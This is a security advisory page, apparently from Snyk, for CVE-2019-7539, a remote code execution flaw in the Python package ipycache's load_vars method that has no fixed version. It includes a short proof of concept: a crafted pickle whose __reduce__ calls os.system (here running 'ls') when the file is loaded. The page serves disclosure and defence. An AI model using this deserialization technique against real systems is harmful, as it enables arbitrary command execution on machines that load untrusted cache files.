Remote Code Execution (RCE) Affecting ipycache package, versions [0,]


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.2% (60th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Remote Code Execution (RCE) vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-PYTHON-IPYCACHE-173995
  • published21 Mar 2019
  • disclosed21 Mar 2019
  • creditbigbigliang-malwarebenchmark

Introduced: 21 Mar 2019

CVE-2019-7539  (opens in a new tab)
CWE-94  (opens in a new tab)

How to fix?

There is no fixed version for ipycache.

Overview

ipycache is a package that defines a %%cache cell magic in the iPython notebook to cache results of long-lasting computations in a persistent pickle file.

Affected versions of this package are vulnerable to Remote Code Execution (RCE) in the ipycache.load_vars method.

PoC

import os
import pickle
import ipycache

class Test(object):

def __init__(self):
    self.a = 1

def __reduce__(self):
    return (os.system,('ls',))
tmpdaa = Test()
with open("a-file.pickle",'wb') as f:

pickle.dump(tmpdaa,f)
ipycache.load_vars('a-file.pickle','')

References

CVSS Scores

version 3.1